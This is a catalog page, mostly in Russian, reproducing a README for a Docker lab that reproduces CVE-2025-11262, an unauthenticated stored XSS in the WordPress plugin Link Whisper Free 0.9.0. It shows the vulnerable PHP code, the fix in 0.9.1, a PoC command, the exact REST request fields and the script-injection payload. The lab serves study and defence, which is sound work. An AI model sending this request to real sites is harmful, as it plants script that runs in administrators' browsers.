Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-11262-Lab | Kitploit
Инструменты/GitHubGitHub/rootdirective-sec/cve-2025-11262-lab
Анализ уязвимостейЭксплуатация веб-приложенийCTFТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubrootdirective-sec/cve-2025-11262-lab

CVE-2025-11262-Lab

Репозиторий
2 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-11262 - Link Whisper Free: неаутентифицированный сохранённый слепой XSS

Краткое описание

Этот репозиторий содержит локальный Docker-стенд для воспроизведения CVE-2025-11262 — проблемы неаутентифицированного сохранённого межсайтового скриптинга (stored XSS), затрагивающей плагин WordPress Link Whisper Free.

Стенд сравнивает две версии плагина:

ServicePlugin versionPurposeURL
vuln0.9.0Vulnerable targethttp://127.0.0.1:8081
patched0.9.1Patched comparison targethttp://127.0.0.1:8082

Демонстрируемая цепочка уязвимости:

root@kitploit:~
Unauthenticated REST request
→ attacker-controlled user_id is persisted
→ a privileged WordPress user opens the Link Whisper AI Subscription page
→ the stored value is rendered into an admin JavaScript context
→ alert("CVE-2025-11262-LAB") executes on the vulnerable version

Атакующему не нужно входить в систему, чтобы внедрить сохранённую полезную нагрузку. JavaScript выполняется позже, когда привилегированный пользователь WordPress открывает затронутую страницу административной панели.

Этот стенд предназначен только для контролируемого локального исследования, понимания на уровне исходного кода и демонстрации в портфолио.

Подтверждённые факты

Это раздел Root Cause Summary, который можно подставить в README. Он безопасен для публикации, не упоминает внутренние файлы вроде vuln_detail.txt и опирается на стенд/исходный код, который вы используете сейчас.

Сводка о корневой причине

CVE-2025-11262 вызвана цепочкой сохранённой инъекции JavaScript в Link Whisper Free 0.9.0.

Проблема не в одном пропущенном вызове экранирования. Это цепочка нескольких небезопасных действий:

root@kitploit:~
Unauthenticated REST endpoint
→ insufficient validation of user_id
→ persistent storage in wpil_ai_access_user_id
→ unsafe rendering into an admin JavaScript context
→ stored XSS when a privileged user opens the AI Subscription page

Неаутентифицированный REST-эндпоинт

Link Whisper Free регистрирует REST-эндпоинт аутентификации AI в REST-пространстве имён плагина:

root@kitploit:~
const REST_SLUG = 'link-whisper';
const AI_AUTH = 'ai-auth';

Эндпоинт регистрируется как маршрут POST:

root@kitploit:~
register_rest_route(self::REST_SLUG, self::AI_AUTH, [
    'methods'             => 'POST',
    'callback'            => [
        $this,
        'ai_auth_handler'
    ],
    'permission_callback' => "__return_true",
    'show_in_index'       => false
]);

Поскольку callback проверки прав — __return_true, эндпоинт доступен без аутентификации.

В лабораторном стенде фактический эндпоинт:

root@kitploit:~
/wp-json/link-whisper/ai-auth

Это означает, что неаутентифицированный атакующий может отправить запрос к эндпоинту без сессии WordPress, nonce или учётной записи администратора.

Уязвимая обработка входных данных в 0.9.0

В Link Whisper Free 0.9.0 обработчик читает управляемые атакующим параметры из REST-запроса:

root@kitploit:~
public function ai_auth_handler( WP_REST_Request $request )
{
    if(!empty($request->get_param('access_token'))){
        $token = $request->get_param('access_token');
        $user_id = $request->get_param('user_id');
        $uid = (int)$request->get_param('uid');
        $uemail = $request->get_param('uemail');

        if(!empty($token) && false !== strpos($token, 'ai-')){
            update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
            update_option('wpil_ai_access_user_id', $user_id);
            update_option('wpil_ai_access_user_email', $uemail);
            update_user_meta($uid, 'wpil_ai_access_user_id', $user_id);
            update_user_meta($uid, 'wpil_ai_access_user_email', $uemail);
            update_option('wpil_ai_access_authorized', true);
        }

        return 'ok';
    }

    return new WP_Error(400, 'Bad request', [ 'status' => 404 ]);
}

Уязвимое поведение обусловлено слабым условием проверки:

root@kitploit:~
if(!empty($token) && false !== strpos($token, 'ai-')){

Оно лишь проверяет, содержит ли переданный токен доступа строку ai-.

Строгая проверка user_id перед сохранением отсутствует:

root@kitploit:~
update_option('wpil_ai_access_user_id', $user_id);

В результате управляемый атакующим JavaScript может быть сохранён в таблице параметров (options) WordPress.

Постоянное хранение

Управляемое атакующим значение user_id сохраняется в параметре WordPress:

root@kitploit:~
wpil_ai_access_user_id

В этом стенде PoC отправляет следующую локальную полезную нагрузку:

root@kitploit:~
</script><script>alert("CVE-2025-11262-LAB")</script>

На уязвимом сервисе полезная нагрузка сохраняется как значение wpil_ai_access_user_id.

Атакующему не нужно входить в систему, чтобы внедрить полезную нагрузку. Она внедряется через неаутентифицированный REST-эндпоинт.

Приёмник (sink) JavaScript в административной панели

Сохранённое значение позже извлекается через логику настроек плагина:

root@kitploit:~
public static function get_linkwhisper_ai_user_id(){
    return get_option('wpil_ai_access_user_id', '');
}

Значение присваивается переменной $ai_id и выводится на страницу AI Subscription в административной панели.

В Link Whisper Free 0.9.0 значение вставляется непосредственно в строку JavaScript:

root@kitploit:~
body: JSON.stringify({
    ai_id: "<?php echo $ai_id;?>",
    subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? $sub->subscription_id: null;?>"
})

Поскольку $ai_id не экранируется перед вставкой в контекст JavaScript, сохранённая полезная нагрузка может выйти за пределы предполагаемой строки и выполнить JavaScript при открытии страницы административной панели.

С лабораторной полезной нагрузкой уязвимый выводимый результат становится эквивалентен:

root@kitploit:~
body: JSON.stringify({
    ai_id: "</script><script>alert("CVE-2025-11262-LAB")</script>",
    subscription_id: ""
})

В браузере внедрённый закрывающий тег </script> завершает исходный блок скрипта, а внедрённый блок <script> выполняется.

Условие срабатывания

Полезная нагрузка внедряется неаутентифицированным атакующим, но для выполнения требуется, чтобы привилегированный пользователь WordPress открыл затронутую страницу административной панели:

root@kitploit:~
/wp-admin/admin.php?page=link_whisper_ai_subscription

В этом стенде затронутая страница открывается под учётной записью администратора WordPress, чтобы вызвать диалоговое окно alert.

Это делает проблему неаутентифицированным сохранённым XSS, направленным на аутентифицированных администраторов WordPress или привилегированных пользователей, которые могут открывать страницу Link Whisper AI Subscription в административной панели.

Поведение исправления в 0.9.1

Link Whisper Free 0.9.1 добавляет более строгую проверку перед сохранением значений аутентификации AI.

Исправленный обработчик требует, чтобы токен и идентификатор пользователя соответствовали строгим форматам:

root@kitploit:~
if(
    !empty($token) &&
    false !== strpos($token, 'ai-') &&
    (bool) preg_match('/\Aai-[0-9a-f]{64}\z/i', $token) &&
    (bool) preg_match('/\A[0-9a-f]{32}\z/i', $user_id)
){
    update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
    update_option('wpil_ai_access_user_id', $user_id);
    update_option('wpil_ai_access_user_email', sanitize_email($uemail));
    update_option('wpil_ai_access_authorized', true);
}

Ключевая проверка, добавленная для user_id:

root@kitploit:~
preg_match('/\A[0-9a-f]{32}\z/i', $user_id)

Это предотвращает сохранение произвольного JavaScript в качестве идентификатора пользователя AI.

Версия 0.9.1 также экранирует значение перед выводом в контекст JavaScript:

root@kitploit:~
body: JSON.stringify({
    ai_id: "<?php echo esc_attr($ai_id);?>",
    subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? esc_attr($sub->subscription_id): '';?>"
})

Таким образом, исправление нейтрализует проблему в двух точках:

root@kitploit:~
Input validation before persistence
Output escaping before JavaScript rendering

Поведение, подтверждённое в лабораторном стенде

Стенд подтверждает разницу между 0.9.0 и 0.9.1.

На Link Whisper Free 0.9.0:

root@kitploit:~
POST /wp-json/link-whisper/ai-auth
→ returns "ok"
→ stores the payload in wpil_ai_access_user_id
→ opening the AI Subscription admin page triggers alert("CVE-2025-11262-LAB")

На Link Whisper Free 0.9.1:

root@kitploit:~
POST /wp-json/link-whisper/ai-auth
→ may still return "ok"
→ does not store the payload
→ opening the AI Subscription admin page does not trigger an alert

Одного HTTP-ответа недостаточно, чтобы определить, уязвима ли цель, поскольку обе версии могут возвращать "ok". Существенная поведенческая разница в том, сохраняется ли полезная нагрузка и выводится ли она затем в контекст JavaScript административной панели.

Архитектура лабораторного стенда

Стенд запускает два изолированных экземпляра WordPress и две отдельные базы данных MySQL через Docker Compose.

root@kitploit:~
.
├── docker/
│   └── lab-entrypoint.sh
├── docker-compose.yml
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── README.md
└── vuln/
    └── Dockerfile

Точка входа (entrypoint) Docker автоматически:

  • ожидает готовности WordPress и базы данных,
  • устанавливает WordPress при необходимости,
  • активирует Link Whisper Free,
  • подготавливает страницу административной панели, необходимую для воспроизведения,
  • выводит учётные данные для входа в стенд.

Учётные данные администратора WordPress по умолчанию для обоих сервисов:

root@kitploit:~
admin / AdminPassw0rd!

Требования

  • Docker Desktop или Docker Engine
  • Docker Compose v2
  • Python 3
  • Доступ в интернет во время сборки образов, поскольку Dockerfile загружают пакеты плагинов с WordPress.org

Быстрый старт

Соберите и запустите стенд:

root@kitploit:~
docker compose down -v
docker compose build --no-cache
docker compose up -d

Проверьте контейнеры:

root@kitploit:~
docker compose ps

Ожидаемые опубликованные сервисы:

root@kitploit:~
Vulnerable target: http://127.0.0.1:8081
Patched target:    http://127.0.0.1:8082

Вы также можете наблюдать за журналами настройки:

root@kitploit:~
docker compose logs vuln patched

При успешной настройке в каждом экземпляре WordPress должен отображаться активный плагин Link Whisper.

Использование PoC

Запустите PoC против уязвимого сервиса:

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8081

PoC отправляет эту локальную полезную нагрузку через неаутентифицированный REST-эндпоинт:

root@kitploit:~
</script><script>alert("CVE-2025-11262-LAB")</script>

После выполнения скрипта откройте выведенный URL административной панели в браузере и войдите с:

root@kitploit:~
admin / AdminPassw0rd!

На уязвимом сервисе браузер должен показать предупреждение (alert), содержащее:

root@kitploit:~
CVE-2025-11262-LAB

Для сравнения запустите тот же PoC против исправленного сервиса:

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8082

Затем откройте выведенный URL административной панели для исправленного сервиса. Предупреждение появляться не должно.

Ожидаемый результат

Уязвимая цель:

root@kitploit:~
[scope] local Docker lab only
[target] http://127.0.0.1:8081
[endpoint] http://127.0.0.1:8081/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>

[result]
http_status: 200
response_body: '"ok"'

[next step]
Open this URL in a browser and login as the lab administrator:

http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription

Исправленная цель:

root@kitploit:~
[scope] local Docker lab only
[target] http://127.0.0.1:8082
[endpoint] http://127.0.0.1:8082/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>

[result]
http_status: 200
response_body: '"ok"'

Одного HTTP-ответа недостаточно, чтобы определить, уязвима ли цель. Важное различие — поведение браузера после того, как привилегированный пользователь откроет затронутую страницу административной панели.

Подтверждение скриншотом

Скриншот предупреждения об уязвимости CVE-2025-11262

Рекомендуемая страница для скриншота:

root@kitploit:~
http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription

На скриншоте должно быть видно предупреждение браузера с:

root@kitploit:~
CVE-2025-11262-LAB

Как работает PoC

PoC намеренно компактный и требует только URL цели:

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8081

Он отправляет POST-запрос на:

root@kitploit:~
/wp-json/link-whisper/ai-auth

со следующими полями формы:

root@kitploit:~
access_token = ai-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
user_id      = </script><script>alert("CVE-2025-11262-LAB")</script>
uid          = 1
uemail       = [email protected]

На уязвимом сервисе сохранённое значение позже выводится на страницу AI Subscription. Когда администратор открывает эту страницу, JavaScript выполняется.

На исправленном сервисе та же полезная нагрузка не должна приводить к появлению предупреждения.

Полезные команды для проверки

Проверьте версии плагина:

root@kitploit:~
docker compose exec -T vuln wp plugin list --allow-root | grep link-whisper
docker compose exec -T patched wp plugin list --allow-root | grep link-whisper

Проверьте, сохранил ли уязвимый сервис полезную нагрузку:

root@kitploit:~
docker compose exec -T vuln wp option get wpil_ai_access_user_id --allow-root

Ожидаемое значение для уязвимой версии:

root@kitploit:~
</script><script>alert("CVE-2025-11262-LAB")</script>

Проверьте исправленный сервис:

root@kitploit:~
docker compose exec -T patched wp option get wpil_ai_access_user_id --allow-root

Ожидаемое поведение исправленной версии:

root@kitploit:~
Error: Could not get 'wpil_ai_access_user_id' option. Does it exist?

Проверьте журналы доступа к REST-эндпоинту:

root@kitploit:~
docker compose logs vuln patched | grep 'wp-json/link-whisper/ai-auth'

Меры по устранению и примечания к исправлению

Обновите Link Whisper Free до 0.9.1 или более поздней версии.

Исправление предотвращает сохранение и вывод этой лабораторной полезной нагрузки, добавляя более строгую проверку и более безопасную обработку вывода в затронутом потоке аутентификации AI.

Для производственных сред также рекомендуется:

  • поддерживать плагины WordPress в актуальном состоянии,
  • ограничивать административный доступ,
  • отслеживать неожиданные запросы к REST-эндпоинтам плагинов,
  • проверять подозрительные значения, похожие на скрипты, в параметрах WordPress,
  • применять эшелонированную фильтрацию (defense-in-depth) там, где это уместно.

Очистка

Остановите и удалите контейнеры, сети и тома:

root@kitploit:~
docker compose down -v

При желании удалите локально собранные образы:

root@kitploit:~
docker image rm cve-2025-11262-vuln cve-2025-11262-patched 2>/dev/null || true

Границы безопасности

Этот стенд предназначен только для локального исследования безопасности и контролируемой демонстрации.

Не запускайте PoC против систем, которыми вы не владеете или на тестирование которых у вас нет разрешения.

Не используйте в этом стенде реальные учётные данные, производственные секреты или внешние callback-вызовы.

PoC намеренно использует видимую метку alert() для скриншот-доказательства. Он не содержит полезных нагрузок для кражи учётных данных, перехвата сессий, сохранения в системе за пределами стенда или автоматических действий администратора.

Ссылки

  • База данных уведомлений GitHub: CVE-2025-11262 / GHSA-7h4c-hr9j-8q85
    https://github.com/advisories/GHSA-7h4c-hr9j-8q85

  • Wordfence Intelligence: запись в базе данных уязвимостей Link Whisper Free
    https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/link-whisper

  • Каталог плагинов WordPress.org: Link Whisper Free
    https://wordpress.org/plugins/link-whisper/

  • Пакет плагина WordPress.org, используемый уязвимым стендом
    https://downloads.wordpress.org/plugin/link-whisper.0.9.0.zip

  • Пакет плагина WordPress.org, используемый исправленным стендом
    https://downloads.wordpress.org/plugin/link-whisper.0.9.1.zip

  • Браузер исходного кода плагинов WordPress: Link Whisper 0.9.0 Rest.php
    https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Rest.php

  • Браузер исходного кода плагинов WordPress: Link Whisper 0.9.1 Rest.php
    https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Rest.php

  • Браузер исходного кода плагинов WordPress: Link Whisper 0.9.0 Settings.php
    https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Settings.php

  • Браузер исходного кода плагинов WordPress: Link Whisper Settings.php

Скачать инструмент
ClaimEvidenceHow to verify in this lab
Link Whisper Free 0.9.0 is vulnerable.Public advisories identify Link Whisper Free versions up to and including 0.9.0 as affected.Run the PoC against http://127.0.0.1:8081 and open the printed admin URL.
Link Whisper Free 0.9.1 contains the fix.Public advisory and changelog data identify 0.9.1 as the patched version.Run the same PoC against http://127.0.0.1:8082; no alert should appear.
Payload planting is unauthenticated.The PoC sends a POST request without WordPress cookies, login, or nonce.Inspect poc/poc.py; it only requires --url.
The visible impact is triggered in the WordPress admin area.The stored value is rendered when the Link Whisper AI Subscription page is opened by a privileged user.After running the PoC, log in as admin and open the printed admin URL.
The patched target may still return "ok" at the HTTP layer.Local testing showed both targets can return "ok"; the meaningful difference is whether the payload is persisted and executed.Compare browser behavior on 8081 and 8082.
0.9.1

https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Settings.php